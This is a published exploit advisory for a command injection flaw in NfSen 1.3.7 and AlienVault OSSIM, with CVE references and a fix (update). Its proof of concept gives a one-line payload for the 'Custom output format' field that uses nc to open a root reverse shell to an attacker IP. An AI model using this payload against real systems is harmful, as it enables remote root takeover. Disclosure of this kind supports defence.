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NfSen 1.3.7 / AlienVault OSSIM 4.3.1 customfnt Command Injection

NfSen 1.3.7 / AlienVault OSSIM 4.3.1 customfnt Command Injection
Posted Jul 11, 2017
Authored by Paul Taylor

NfSen version 1.3.7 and AlienVault OSSIM version 4.3.1 suffer from a customfmt command injection vulnerability.

tags | exploit
advisories | CVE-2017-6972
SHA-256 | 6b2e5703fd89723e64a82ec4b72ba979239fa1d8e95511ce4df0a2e31d8f0b19

NfSen 1.3.7 / AlienVault OSSIM 4.3.1 customfnt Command Injection

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# Exploit Title: NfSen/AlienVault remote root exploit (command injection in customfmt parameter)
# Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault USM/OSSIM < 4.3.1
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: NfSen 1.3.7
# CVE: CVE-2017-7175, CVE-2017-6972

1. Description

A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request with shell commands which will be executed as root on a vulnerable system. The injection is covered by CVE-2017-7175, and the commands are executed as root due to CVE-2017-6972.

2. Proof of Concept


For a reverse shell to attacking machine 10.100.1.2, on the NfSen / AlienVault netflow processing web page, enter the following into the "Custom output format:" input box:

'; nc -ne /bin/bash 10.100.1.2 443 #

If nc is not installed on the target, then alternative attacks are likely to be possible to leverage the vulnerability.

3. Solution:

Update to latest version of NfSen/USM/OSSIM

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